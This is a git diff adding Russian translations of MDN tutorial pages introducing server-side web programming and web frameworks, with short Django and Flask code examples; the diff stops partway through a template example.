+++ b/files/ru/learn/server-side/first_steps/introduction/index.html
@@ -0,0 +1,217 @@
+---
+title: Введение в серверную часть
+slug: Learn/Server-side/First_steps/Introduction
+tags:
+  - Бэкенд
+  - Введение
+  - Начинающий
+  - Руководство
+  - Сервер
+  - Серверная часть
+translation_of: Learn/Server-side/First_steps/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary"><span class="seoSummary">Добро пожаловать на курс для начинающих по программированию серверной части сайта! В этой первой статье мы рассмотрим программирование на стороне сервера с высокого уровня, отвечая на такие вопросы, как «что это»?, «как это отличается от программирования на стороне клиента»? и «почему это так полезно»? После прочтения этой статьи вы поймёте дополнительные возможности, доступные веб-сайтам посредством программирования на стороне сервера. </span></p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Перед стартом:</th>
+   <td>Базовая компьютерная грамотность. Базовое понимание, что такое веб-сервер.</td>
+  </tr>
+  <tr>
+   <th scope="row">Цель:</th>
+   <td>Ознакомиться с тем, что такое программирование серверной части, на что оно способно и чем отличается от программирования клиентской части.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Большинство крупных веб-сайтов используют программирование серверной части чтобы динамично отображать различные данные при необходимости, в основном взятые из базы данных, располагающейся на сервере и отправляемые клиенту для отображения через некоторый код (например, HTML и JavaScript).</p>
+
+<p>Возможно, самая значительная польза программирования серверной части в том, что оно позволяет формировать контент веб-сайта под конкретного пользователя. Динамические сайты могут выделять контент, который более актуален в зависимости от предпочтений и привычек пользователя. Это также может упростить использование сайтов за счёт сохранения личных предпочтений и информации, например, повторного использования сохранённых данных кредитной карты для оптимизации последующих платежей.</p>
+
+<p>Это также даёт возможность взаимодействовать с пользователем сайта, посылая уведомления и обновления по электронной почте или по другим каналам. Все эти возможности позволяют глубже взаимодействовать с пользователями.</p>
+
+<p>В современном мире веб-разработки настоятельно рекомендуется узнать о разработке на стороне сервера.</p>
+
+<h2 id="Что_такое_программирование_серверной_части_сайта">Что такое программирование серверной части сайта?</h2>
+
+<p>Веб-браузеры взаимодействуют с <a href="/ru/docs/Learn/Common_questions/What_is_a_web_server">веб-серверами</a> при помощи гипертекстового транспортного протокола ({{glossary("HTTP")}}). Когда вы нажимаете на ссылку на веб-странице, заполняете форму или запускаете поиск,  <strong>HTTP-запрос </strong> отправляется из вашего браузера на целевой сервер.</p>
+
+<p>Запрос включает в себя URL, определяющий затронутый ресурс, метод, определяющий требуемое действие (например, получить, удалить или опубликовать ресурс) и может включать дополнительную информацию, закодированную в параметрах URL (пары поле-значение, оправленные как <a href="https://en.wikipedia.org/wiki/Query_string">строка запроса</a>), как POST запрос (данные, отправленные методом <a href="/en-US/docs/Web/HTTP/Methods/POST">HTTP POST</a>) или в {{glossary("Cookie", "куки-файлах")}}.</p>
+
+<p>Веб-серверы ожидают сообщений с клиентскими запросами, обрабатывают их по прибытию и отвечают веб-браузеру при помощи ответного HTTP сообщения (<strong>HTTP-ответ</strong>). Ответ содержит строку состояния, показывающую, был ли запрос успешным или нет (например, «HTTP/1.1 200 OK» в случае успеха).</p>
+
+<p>Тело успешного ответа на запрос может содержать запрашиваемые данные (например, новую HTML-страницу или изображение, и т. п.), который может отображаться через веб-браузер.</p>
+
+<h3 id="Статические_сайты">Статические сайты</h3>
+
+<p>Схема ниже показывает базовую архитектуру веб-сервера для <em>статического сайта</em> (статический сайт — это тот, который возвращает одно и то же жёстко закодированное содержимое с сервера всякий раз, когда запрашивается конкретный ресурс). Когда пользователь хочет перейти на страницу, браузер отправляет HTTP-запрос «GET» с указанием его URL. </p>
+
+<p>Сервер извлекает запрошенный документ из своей файловой системы и возвращает HTTP-ответ, содержащий документ и <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Status#Successful_responses">успешный статус</a> (обычно 200 OK). Если файл не может быть извлечён по каким-либо причинам, возвращается статус ошибки (смотри <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Status#Client_error_responses">ошибки клиента</a> и <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Status#Server_error_responses">ошибки сервера</a>).</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png" style="height: 223px; width: 800px;"></p>
+
+<h3 id="Динамические_сайты">Динамические сайты</h3>
+
+<p>Динамический веб-сайт — это тот, где часть содержимого ответа генерируется динамически только при необходимости. На динамическом веб-сайте HTML-страницы обычно создаются путём вставки данных из базы данных в заполнители в HTML-шаблонах (это гораздо более эффективный способ хранения большого количества контента, чем использование статических сайтов).</p>
+
+<p>Динамический сайт может возвращать разные данные для URL-адреса на основе информации, предоставленной пользователем или сохранёнными настройками, и может выполнять другие операции, как часть возврата ответа (например, отправку уведомлений).</p>
+
+<p>Большая часть кода для поддержки динамического веб-сайта должна выполняться на сервере. Создание этого кода известно, как «<strong>программирование серверной части</strong>» (или иногда «<strong>программирование бэкенда</strong>»).</p>
+
+<p>Схема ниже показывает простую архитектуру <em>динамического сайта</em>. Как и на предыдущей схеме, браузеры отправляют HTTP-запросы на сервер, затем сервер обрабатывает запросы и возвращает соответствующие HTTP-ответы.</p>
+
+<p>Запросы статических ресурсов обрабатываются так же, как и для статических сайтов (статические ресурсы — это любые файлы, которые не меняются, обычно это: CSS, JavaScript, изображения, предварительно созданные PDF-файлы и прочее).</p>
+
+<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="https://mdn.mozillademos.org/files/13839/Web%20Application%20with%20HTML%20and%20Steps.png"></p>
+
+<p>Запросы динамических данных отправляются (2) в код серверной части (показано на диаграмме как <em>Веб-приложение</em>). Для «динамических запросов» сервер интерпретирует запрос, читает необходимую информацию из базы данных (3), комбинирует извлечённые данные с шаблонами HTML и возвращает ответ, содержащий сгенерированный HTML (5, 6).</p>
+
+<div>
+<h2 id="Одинаково_ли_программирование_серверной_части_и_клиентской">Одинаково ли программирование серверной части и клиентской?</h2>
+</div>
+
+<p>Теперь обратим внимание на код, задействованный в серверной части и клиентской части. В каждом случае код существенно различается:</p>
+
+<ul>
+ <li>Они имеют различные цели и назначение.</li>
+ <li>Как правило, они не используют одни и те же языки программирования (исключение составляет JavaScript, который можно использовать на стороне сервера и клиента).</li>
+ <li>Они выполняются в разных средах операционной системы.</li>
+</ul>
+
+<p>Код, который выполняется в браузере, известный как <strong>код клиентской части</strong>, прежде всего связан с улучшением внешнего вида и поведения отображаемой веб-страницы. Это включает в себя выбор и стилизацию компонентов пользовательского интерфейса, создание макетов, навигацию, проверку форм и т. д. Напротив, программирование веб-сайта на стороне сервера в основном включает выбор содержимого, которое возвращается браузеру в ответ на запросы. Код на стороне сервера обрабатывает такие задачи, как проверка отправленных данных и запросов, использование баз данных для хранения и извлечения данных и отправка правильных данных клиенту по мере необходимости.</p>
+
+<p>Код клиентской части написан с использованием <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/CSS">CSS</a> и <a href="https://developer.mozilla.org/ru/docs/Learn/JavaScript">JavaScript</a> — он запускается в веб-браузере и практически не имеет доступа к базовой операционной системе (включая ограниченный доступ к файловой системе).</p>
+
+<p>Веб-разработчики не могут контролировать, какой браузер может использовать каждый пользователь для просмотра веб-сайта — браузеры обеспечивают противоречивые уровни совместимости с функциями кода на стороне клиента, и одной из задач программирования на стороне клиента является изящная обработка различий в поддержке браузера.</p>
+
+<p>Код серверной части может быть написан на любом количестве языков программирования — примеры популярных языков серверной части включают в себя PHP, Python, Ruby, C# и NodeJS (JavaScript). Код серверной части имеет полный доступ к операционной системе сервера, и разработчик может выбрать какой язык программирования (и какую версию) он хотел бы использовать.</p>
+
+<p>Разработчики обычно пишут свой код, используя <strong>веб-фреймворки</strong>. Веб-фреймворки — это наборы функций, объектов, правил и других конструкций кода, предназначенных для решения общих проблем, ускорения разработки и упрощения различных типов задач, стоящих в конкретной области.</p>
+
+<p>И снова, поскольку и клиентская и серверная части используют фреймворки, области очень разные и, следовательно, фреймворки тоже разные. Фреймворки клиентской части упрощают вёрстку и представление данных, тогда как фреймворки серверной части обеспечивают много «обычного» функционала веб-сервера, который вы, возможно, в противном случае, должны были осуществлять самостоятельно (например, поддержка сессий, поддержка пользователей и аутентификация, простой доступ к базе данных, шаблонам библиотек и т. д.).</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Фреймворки клиентской части часто используются для ускорения написания кода клиентской части, но вы также можете решить писать весь код руками; на самом деле, написание кода руками может быть более быстрым и эффективным, если вам нужен небольшой простой веб-сайт UI.</p>
+
+<p>И, наоборот, вы практически никогда не посмотрите в сторону написания кода серверной части веб-приложения без фреймворка: осуществление жизненно важной функции, такой как HTTP сервер действительно сложно сделать с нуля, скажем, на Python, но веб-фреймворки для Python, такие как Django, обеспечивают это из коробки наряду с другими полезными инструментами.</p>
+</div>
+
+<div>
+<h2 id="Что_можно_сделать_в_серверной_части">Что можно сделать в серверной части?</h2>
+
+<p>Программирование серверной части очень полезно поскольку позволяет <em>эффективно</em> доставлять информацию, составленную для индивидуальных пользователей и, таким образом, создавать намного лучший опыт использования.</p>
+
+<p>Компании, такие как Amazon, используют программирование серверной части для построения исследовательских результатов для товаров, формирования целевого предложения, основанного на предпочтениях клиента и предыдущих покупках, упрощения заказов и т. д. Банки используют программирование серверной части, чтобы хранить учётную информацию и позволять только авторизованным пользователям просматривать и совершать транзакции. Другие сервисы, такие как Facebook, Twitter, Instagram и Wikipedia используют бэкэнд, чтобы выделять, распространять и контролировать доступ к интересному контенту.</p>
+</div>
+
+<p>Некоторые типичные применения и выгоды бэкэнда перечислены ниже. Вы заметите, что есть некоторое пересечение!</p>
+
+<h3 id="Эффективное_хранение_и_доставка_информации">Эффективное хранение и доставка информации</h3>
+
+<p>Представьте, сколько товаров доступно на Amazon, и представьте, сколько постов было написано на Facebook? Создание статической страницы для каждого товара или поста было бы абсолютно неэффективным.</p>
+
+<p>Программирование серверной части позволяет вместо этого хранить информацию в базе данных и динамически создавать и возвращать HTML и другие типы файлов (например, PDF, изображения, и т. д.). Также есть возможность просто вернуть данные ({{glossary("JSON")}}, {{glossary("XML")}}, и т. д.) для отображения, используя подходящий фреймворк клиентской части (это уменьшает загрузку процессора на сервере и количество передаваемых данных).</p>
+
+<p>Сервер не ограничен в отправке информации из баз данных и может вместо этого возвращать результат инструментов программного обеспечения или данные из сервисов коммуникации. Контент даже может быть целевым относительно устройства клиента, который его получает.</p>
+
+<p>Из-за того, что информация находится в базе данных, её также можно легко передать и обновить через другие бизнес системы (например, отслеживание).</p>
+
+<div class="note">
+<p><strong>На заметку:</strong> Вам не нужно сильно напрягать своё воображение, чтобы увидеть достоинства кода серверной части для эффективного хранения и передачи информации:</p>
+
+<ol>
+ <li>Зайдите на <a href="https://www.amazon.com/">Amazon</a> или в другой интернет-магазин.</li>
+ <li>Введите в поиск несколько ключевых слов и заметьте, как структура страницы не изменилась, тогда как результаты изменились.</li>
+ <li>Откройте два или три разных товара. Заметьте, что они имеют схожую структуру и внешний вид, но содержимое для разных товаров было вставлено из базы данных.</li>
+</ol>
+
+<p>Для обычного поиска (например, «рыба») вы можете увидеть буквально миллионы найденных значений. Использование базы данных позволяет им храниться и передаваться эффективно, и это позволяет контролировать представление информации всего в одном месте.</p>
+</div>
+
+<h3 id="Настраиваемый_пользовательский_опыт_взаимодействия">Настраиваемый пользовательский опыт взаимодействия</h3>
+
+<p>Серверы могут хранить и использовать информацию о клиентах чтобы поставлять удобный и сделанный индивидуально пользовательский опыт взаимодействия. Например, многие сайты хранят данные кредитных карт, чтобы не нужно было вводить их повторно. Сайты, наподобие Google Maps, могут использовать сохранённое и текущее местоположение для предоставления информации о маршруте, а также историю поиска или путешествий для выделения местных предприятий в результатах поиска.</p>
+
+<p>Более глубокий анализ привычек пользователя может быть использован для прогнозирования их интересов и дальнейших настроек ответов и уведомлений, например, предоставление списка ранее посещённых популярных мест, которые вы, возможно, захотите найти на карте.</p>
+
+<div class="note">
+<p><strong>На заметку:</strong> <a href="https://maps.google.com/">Google Maps</a> сохраняет вашу историю поиска и посещений. Часто посещаемые или часто вводимые в поиск локации выделяются больше, чем остальные.</p>
+
+<p>Результаты поиска Google оптимизируются на основе прыдыдущего поиска.</p>
+
+<ol>
+ <li> Перейдите в <a href="https://google.com/">поиск Google</a>.</li>
+ <li> Произведите поиск по слову «футбол».</li>
+ <li> Теперь попробуйте ввести «любимое» в поисковой строке и понаблюдайте, как работают подсказки автозаполнения поиска.</li>
+</ol>
+
+<p>Стечение обстоятельств? Нет!</p>
+</div>
+
+<h3 id="Контролируемый_доступ_к_контенту">Контролируемый доступ к контенту</h3>
+
+<p>Программирование серверной части позволяет сайтам ограничивать доступ авторизованным пользователям и предоставлять только ту информацию, которую пользователю разрешено видеть.</p>
+
+<p>Реальные примеры:</p>
+
+<ul>
+ <li>Социальные сети, такие как Facebook, позволяют пользователям полностью контролировать свои данные, но только своим друзьям разрешать просматривать или комментировать их. Пользователь определяет, кто может просматривать его данные и, более того, чьи данные появляются на его стене. Авторизация — центральная часть опыта взаимодействия.</li>
+ <li>Сайт, на котором вы находитесь прямо сейчас, контролирует доступ к контенту: статьи видны всем, но только авторизованные пользователи могут редактировать контент. Чтобы проверить это, нажмите на кнопку «Редактировать» в верхней части страницы, и, если вы авторизованы, вы увидите редакторский интерфейс, а если нет — вас перенаправит на страницу авторизации.</li>
+</ul>
+
+<div class="note">
+<p><strong>На заметку:</strong> Рассмотрим другие реальные примеры, где доступ к контенту контролируется. Например, что вы можете увидеть, если зайдёте на сайт вашего банка? Авторизуйтесь через вашу учётную запись, и какую дополнительную информацию вы можете просматривать и редактировать? Что за информацию вы можете увидеть, которую может редактировать только банк?</p>
+</div>
+
+<h3 id="Хранение_информации_о_сессиисостоянии">Хранение информации о сессии/состоянии</h3>
+
+<p>Программирование серверной части позволяет разработчикам использовать <strong>сессии</strong> – изначально это механизм, позволяющий серверу хранить информацию о текущем пользователе сайта и отправлять разные ответы, основанные на этой информации.</p>
+
+<p>Это позволяет, например, сайту знать, что пользователь был предварительно авторизован и выводить ссылки на его адрес электронной почты или историю заказов или, возможно, сохранить прогресс простой игры, так чтобы пользователь мог вернуться на сайт продолжить с того места, где он закончил.</p>
+
+<div class="note">
+<p><strong>На заметку:</strong> Посетите новостной сайт, у которого есть подписка и откройте ветку тегов (например, <a href="http://www.theage.com.au/">The Age</a>). Продолжайте посещать сайт в течение нескольких часов/дней. В итоге вас начнёт перенаправлять на страницы, объясняющие, как оформить платную подписку, а сами статьи станут вам недоступны. Эта информация является примером сессии, сохранённой в куки-файлах.</p>
+</div>
+
+<h3 id="Уведомления_и_средства_связи">Уведомления и средства связи</h3>
+
+<p>Серверы могут отправлять общие или пользовательские уведомления непосредственно через сайт или по электронной почте, через смс, мгновенные сообщения, видеосвязь или другие средства связи.</p>
+
+<p>Вот несколько примеров:</p>
+
+<ul>
+ <li>Facebook или Twitter отправляет уведомления по электронной почте и смс-сообщения, чтобы уведомить вас о новых разговорах.</li>
+ <li>Amazon регулярно отправляет письма на электронную почту, предлагающие товары, похожие на те, которые уже были куплены или просматривались вами, которые могут вас заинтересовать.</li>
+ <li>Веб-сервер может посылать сообщения администратору сайта, предупреждая его о том, что на сервере заканчивается память или о подозрительной активности пользователя.</li>
+</ul>
+
+<div class="note">
+<p><strong>На заметку</strong>: Самый распространённый вид уведомлений – это «подтверждение регистрации». Возьмите почти любой интересующий вас крупный сайт (Google, Amazon, Instagram и т. п.) и создайте новую учётную запись, используя ваш адрес электронной почты. Вскоре вы получите письмо, подтверждающее факт вашей регистрации или содержащее информацию о необходимости активировать вашу учётную запись.</p>
+</div>
+
+<h3 id="Анализ_данных">Анализ данных</h3>
+
+<p>Веб-сайт может собирать много данных о своих пользователях: что они ищут, что они покупают, что они рекомендуют, как долго они остаются на каждой странице. Программирование серверной части может быть использовано, чтобы усовершенствовать ответы, основанные на анализе этих данных.</p>
+
+<p>Например, и Amazon, и Google рекламируют товары на основании предыдущих поисков (и покупок).</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Если вы пользуетесь Facebook, зайдите на вашу стену и посмотрите на ряд постов. Заметьте, что некоторые посты не идут по порядку: в частности, посты с большим количеством «лайков» часто находятся выше по списку, чем остальные. Также взгляните на рекламу, которую вам показывают, вы вероятно увидите рекламу товаров, которые искали на других сайтах. Алгоритм Facebook для выделения контента и рекламы может казаться мистикой, но очевидно, что он зависит от ваших лайков и запросов поиска!</p>
+</div>
+
+<h2 id="Подведение_итогов">Подведение итогов</h2>
+
+<p>Поздравляем, вы дошли до конца первой статьи о программировании серверной части.</p>
+
+<p>Теперь вы узнали, что код серверной части выполняется на веб-сервере и его основная роль состоит в контролировании отправляемой пользователю информации (тогда как код клиентской части в основном определяет структуру и способ преподнесения информации пользователю). Вы должны также понимать, что это полезно, так как позволяет создавать веб-сайты, которые эффективно доставляют информацию, собранную для конкретных пользователей и иметь чёткое представление о некоторых вещах, которые вы сможете делать, когда станете разработчиком бэкенда.</p>
+
+<p>Наконец, вы должны понимать, что код серверной части может быть написан на разных языках программирования, и что вам следует использовать веб-фреймворк для упрощения процесса написания кода.</p>
+
+<p>В следующей статье мы поможем вам выбрать лучший фреймворк для вашего первого сайта; затем мы изучим несколько основных взаимодействий с клиентской частью более подробно.</p>
+
+<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/ru/learn/server-side/first_steps/web_frameworks/index.html b/files/ru/learn/server-side/first_steps/web_frameworks/index.html
new file mode 100644
index 0000000000..af2b467d3f
--- /dev/null
+++ b/files/ru/learn/server-side/first_steps/web_frameworks/index.html
@@ -0,0 +1,306 @@
+---
+title: Выполняемые на сервере веб фреймворки
+slug: Learn/Server-side/First_steps/Web_frameworks
+translation_of: Learn/Server-side/First_steps/Web_frameworks
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">В предыдущей статье было показано, как выглядит общение между веб-клиентами и серверами, характер HTTP-запросов и ответов, а также то, что веб-приложение на стороне сервера должно выполнять, чтобы отвечать на запросы из веб-браузера. Благодаря этим знаниям настало время изучить, как веб-интерфейсы могут упростить эти задачи, и дать вам представление о том, как выбрать структуру для своего первого веб-приложения на стороне сервера.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Необходимые навыки:</th>
+   <td>Базовая компьютерная грамотность. Высокое понимание того, как серверный код обрабатывает и отвечает на HTTP-запросы (см. <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Цели:</th>
+   <td>Понять, как веб-интерфейсы могут упростить разработку / обслуживание кода на стороне сервера и заставить читателей задуматься о выборе структуры для собственной разработки.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Следующие разделы иллюстрируют некоторые моменты, используя фрагменты кода, взятые из реальных веб-интерфейсов. Не беспокойтесь, если не всё сразу понятно; мы будем работать над кодом вместе в модулях, посвящённых отдельным фреймворкам.</p>
+
+<h2 id="Обзор">Обзор</h2>
+
+<p>Серверные веб-фреймворки (или «фреймворки веб-приложений») — это программные среды, которые упрощают создание, поддержку и масштабирование веб-приложений. Они предоставляют инструменты и библиотеки, которые упрощают общие задачи веб-разработки, включая маршрутизацию URL-адресов для соответствующих обработчиков, взаимодействие с базами данных, поддержку сеансов и авторизацию пользователей, форматирование вывода (например, HTML, JSON, XML) и улучшение защиты от веб-атак.</p>
+
+<p>В следующем разделе приводится более подробная информация о том, как веб-фреймворки могут облегчить разработку веб-приложений. Затем мы объясним некоторые критерии, которые вы можете использовать для выбора веб-фреймворка, а затем перечислим некоторые из ваших вариантов.</p>
+
+<h2 id="Что_может_сделать_веб-фреймворк_для_вас">Что может сделать веб-фреймворк для вас ?</h2>
+
+<p>Веб-фреймворки предоставляют инструменты и библиотеки для упрощения общих операций веб-разработки. Вы не обязаны использовать веб-фреймворк на стороне сервера, но это настоятельно рекомендуется — это сделает вашу жизнь намного проще.</p>
+
+<p>В этом разделе обсуждается различный функционал, который часто предоставляется веб-фреймворками (но не каждый фреймворк должен обязательно содержать весь описанный функционал!)</p>
+
+<h3 id="Работайте_напрямую_с_HTTP-запросами_и_ответами">Работайте напрямую с HTTP-запросами и ответами</h3>
+
+<p>Как мы видели в последней статье, веб-серверы и браузеры обмениваются данными по протоколу HTTP — серверы ожидают HTTP-запросы из браузера, а затем возвращают информацию в HTTP-ответах. Веб-фреймворки позволяют писать упрощённый синтаксис, который будет генерировать серверный код для работы с этими запросами и ответами. Это означает, что вам будет легче работать, взаимодействуя с более простым кодом более высокого уровня, а не с сетевыми примитивами более низкого уровня.</p>
+
+<p>Пример ниже показывает, как это работает в веб-фреймворке Django (Python). Каждая функция «view» (обработчик запроса) получает объект <code>HttpRequest</code>, содержащий информацию о запросе, и должна вернуть объект <code>HttpResponse</code> с форматированным выводом (в этом случае строка).</p>
+
+<pre class="brush: python notranslate"># Django view function
+from django.http import HttpResponse
+
+def index(request):
+    # Get an HttpRequest (request)
+    # perform operations using information from the request.
+    # Return HttpResponse
+    return HttpResponse('Output string to return')
+</pre>
+
+<h3 id="Запросы_маршрута_к_соответствующему_обработчику">Запросы маршрута к соответствующему обработчику</h3>
+
+<p>Большинство сайтов предоставляют несколько различных ресурсов, доступных через отдельные URL-адреса. Если работать с ними в одной функции, поддерживать будет трудно, поэтому веб-фреймворки предоставляют простые механизмы для сопоставления шаблонов URL-адресов с конкретными функциями обработчика. Этот подход также имеет преимущества с точки зрения обслуживания, потому что вы можете изменить URL-адрес, используемый для доставки определённой функции, без изменения базового кода.</p>
+
+<p>Различные фреймворки используют различные механизмы для сопоставления. Например, веб-фреймворк Flask (Python) добавляет маршруты для просмотра функций используя декораторы.</p>
+
+<pre class="brush: python notranslate">@app.route("/")
+def hello():
+    return "Hello World!"</pre>
+
+<p>Django ожидает, что разработчики определят список сопоставлений URL-адресов между шаблоном URL-адреса и функцией просмотра.</p>
+
+<pre class="brush: python notranslate">urlpatterns = [
+    url(r'^$', views.index),
+    # example: /best/myteamname/5/
+    url(r'^best/(?P&lt;team_name&gt;\w.+?)/(?P&lt;team_number&gt;[0-9]+)/$', views.best),
+]
+</pre>
+
+<h3 id="Упростите_доступ_к_данным_в_запросе">Упростите доступ к данным в запросе</h3>
+
+<p>Данные могут быть закодированы в HTTP-запросе разными способами. Для получения файлов или данных с сервера, HTTP-запрос <code>GET</code> может кодировать, какие данные требуются в URL-параметрах или в структуре URL. HTTP-запрос <code>POST</code> для обновления ресурса на сервере вместо этого будет включать обновлённую информацию как «POST данные» внутри тела запроса. HTTP-запрос может также включать информацию о текущей сессии или пользователе в cookie со стороны клиента.</p>
+
+<p><span class="tlid-translation translation" lang="ru">Веб-фреймворки предоставляют соответствующие языку программирования механизмы доступа к этой информации. Например, объект</span> <code>HttpRequest</code><span class="tlid-translation translation" lang="ru">, который Django передаёт каждой функции «view», содержит методы и свойства для доступа к целевому URL, типу запроса (например, HTTP</span> <code>GET</code><span class="tlid-translation translation" lang="ru">), параметрам</span> <code>GET</code> <span class="tlid-translation translation" lang="ru">или</span> <code>POST</code><span class="tlid-translation translation" lang="ru">, файлам cookie и данным сеанса и т. д. Django также может передавать информацию, закодированную в структуре URL, путём определения «шаблонов захвата» в преобразователе URL (см. последний фрагмент кода в разделе выше).</span></p>
+
+<h3 id="Абстрагируйте_и_упростите_доступ_к_базе_данных"><span class="tlid-translation translation" lang="ru">Абстрагируйте и упростите доступ к базе данных</span></h3>
+
+<p><span class="tlid-translation translation" lang="ru">Веб-сайты используют базы данных для хранения информации как для пользователей, так и о пользователях. Веб-фреймворки часто предоставляют слой базы данных, который абстрагирует операции чтения, записи, запроса и удаления базы данных. Этот уровень абстракции называется Object-Relational Mapper (ORM).</span></p>
+
+<p><span class="tlid-translation translation" lang="ru">Использование ORM имеет два преимущества:</span></p>
+
+<ul>
+ <li>Вы можете заменить лежащую в основе базу данных без необходимости изменять код, который её использует. Это позволяет разработчикам оптимизировать характеристики различных баз данных в зависимости от их использования.</li>
+ <li><span class="tlid-translation translation" lang="ru">Базовая проверка данных может быть реализована. Это позволяет легче и безопаснее проверить, что данные хранятся в правильном поле типа базы данных, имеют правильный формат (например, адрес электронной почты) и не являются вредоносными (взломщики могут использовать определённые шаблоны кода, чтобы сделать такие вещи, как удаление записей базы данных).</span></li>
+</ul>
+
+<p><span class="tlid-translation translation" lang="ru">Например, веб-фреймворк Django предоставляет ORM и ссылается на объект, используемый для определения структуры записи в качестве модели. Модель задаёт типы полей, которые должны быть сохранены, что может обеспечить проверку на уровне поля того, какая информация может быть сохранена (например, поле электронной почты будет разрешать только действительные адреса электронной почты). В определениях полей также можно указать их максимальный размер, значения по умолчанию, параметры списка выбора, текст справки для документации, текст метки для форм и т. д. Модель не содержит никакой информации о базе данных, поскольку это параметр конфигурации, который может быть изменён отдельно от нашего кода.<br>
+ <br>
+ Первый фрагмент кода ниже показывает очень простую модель Django для объекта</span> <code>Team</code><span class="tlid-translation translation" lang="ru">. Это сохраняет название команды и уровень команды как символьные поля и определяет максимальное количество символов для каждой записи.</span> <code>team_level</code><span class="tlid-translation translation" lang="ru"> </span>—<span class="tlid-translation translation" lang="ru"> это поле выбора, поэтому здесь мы связываем варианты значений на выбор с сохраняемыми данными, а также значение по умолчанию.</span></p>
+
+<pre class="brush: python notranslate">#best/models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11, 'Under 11s'),
+        ...  #list our other teams
+    )
+    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')
+</pre>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Модель Django предоставляет простой API запросов для поиска в базе данных.</span> <span title="">Это может соответствовать нескольким полям одновременно, используя различные критерии (например, </span></span>exact<span class="tlid-translation translation" lang="ru"><span title=""> (точный), </span></span>case-insensitive (<span class="tlid-translation translation" lang="ru"><span title="">без учёта регистра), </span></span>greater than (<span class="tlid-translation translation" lang="ru"><span title="">больше чем) и т. п.), а также может поддерживать сложные операторы (например, вы можете указать поиск для команд U11, в которых есть команда</span> <span title="">имя, которое начинается с «Fr» или заканчивается на «al»).</span><br>
+ <br>
+ <span title="">Второй фрагмент кода показывает функцию представления (обработчик ресурсов) для отображения всех наших команд U09.</span> <span title="">В этом случае мы указываем, что мы хотим фильтровать для всех записей, где поле</span></span> <code>team_level</code> <span class="tlid-translation translation" lang="ru"><span title="">имеет в точности текст «U09» (обратите внимание ниже, как этот критерий передаётся функции</span></span> <code>filter()</code> <span class="tlid-translation translation" lang="ru"><span title="">в качестве аргумента с именем поля и типом соответствия, отделённым двойным</span> <span title="">подчёркиванием: <strong>team_level__exact</strong>).</span></span></p>
+
+<pre class="brush: python notranslate">#best/views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def youngest(request):
+    <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong>
+    context = {'youngest_teams': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<dl>
+</dl>
+
+<h3 id="Отрисовка_данных"><span class="tlid-translation translation" lang="ru"><span title="">Отрисовка данных</span></span></h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Веб-фреймворки часто предоставляют системы шаблонов.</span> <span title="">Они позволяют вам указать структуру выходного документа, используя заполнители для данных, которые будут добавлены при создании страницы.</span> <span title="">Шаблоны часто используются для создания HTML, но могут также создавать другие типы документов.</span><br>
+ <br>
+ <span title="">Веб-фреймворки часто предоставляют механизм, позволяющий легко создавать другие форматы из хранимых данных, включая {{glossary ("JSON")}} и {{glossary ("XML")}}.</span><br>
+ <br>
+ <span title="">Например, система шаблонов Django позволяет вам задавать переменные с использованием синтаксиса «двойных велосипедных рулей» (например,</span></span> <code>{</code><code>{ <em>имя_переменной</em> </code><code>}</code><code>}</code>),<span class="tlid-translation translation" lang="ru"><span title=""> которые будут заменены значениями, передаваемыми из функции «view» при отрисовке страницы.</span> <span title="">Система шаблонов также обеспечивает поддержку выражений (с синтаксисом:</span></span> <code>{% <em>выражение</em> %}</code>), <span class="tlid-translation translation" lang="ru"><span title="">которые позволяют шаблонам выполнять простые операции, такие как повторение значений списка, передаваемых в шаблон.</span></span></p>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="ru"><span title=""><strong>На заметку</strong>. Многие другие системы шаблонов используют аналогичный синтаксис, например: Jinja2 (Python), </span></span> handlebars <span class="tlid-translation translation" lang="ru"><span title=""> (JavaScript), </span></span> moustache <span class="tlid-translation translation" lang="ru"><span title=""> (JavaScript) и т. п.</span></span></p>
+</div>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Фрагмент кода ниже показывает, как это работает.</span> <span title="">Продолжая пример «самой молодой команды» из предыдущего раздела, HTML-шаблон передаёт представлению переменную списка</span></span> <code>youngest_teams</code><span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">Внутри скелета HTML у нас есть выражение, которое сначала проверяет, существует ли переменная <code>youngest_teams</code>, а затем повторяет её в цикле <code>for</code>.</span> <span title="">На каждой итерации шаблон отображает значение <code>team_name</code> команды в элементе списка.</span></span></p>
+
+<pre class="brush: html notranslate">#best/templates/best/index.html
+
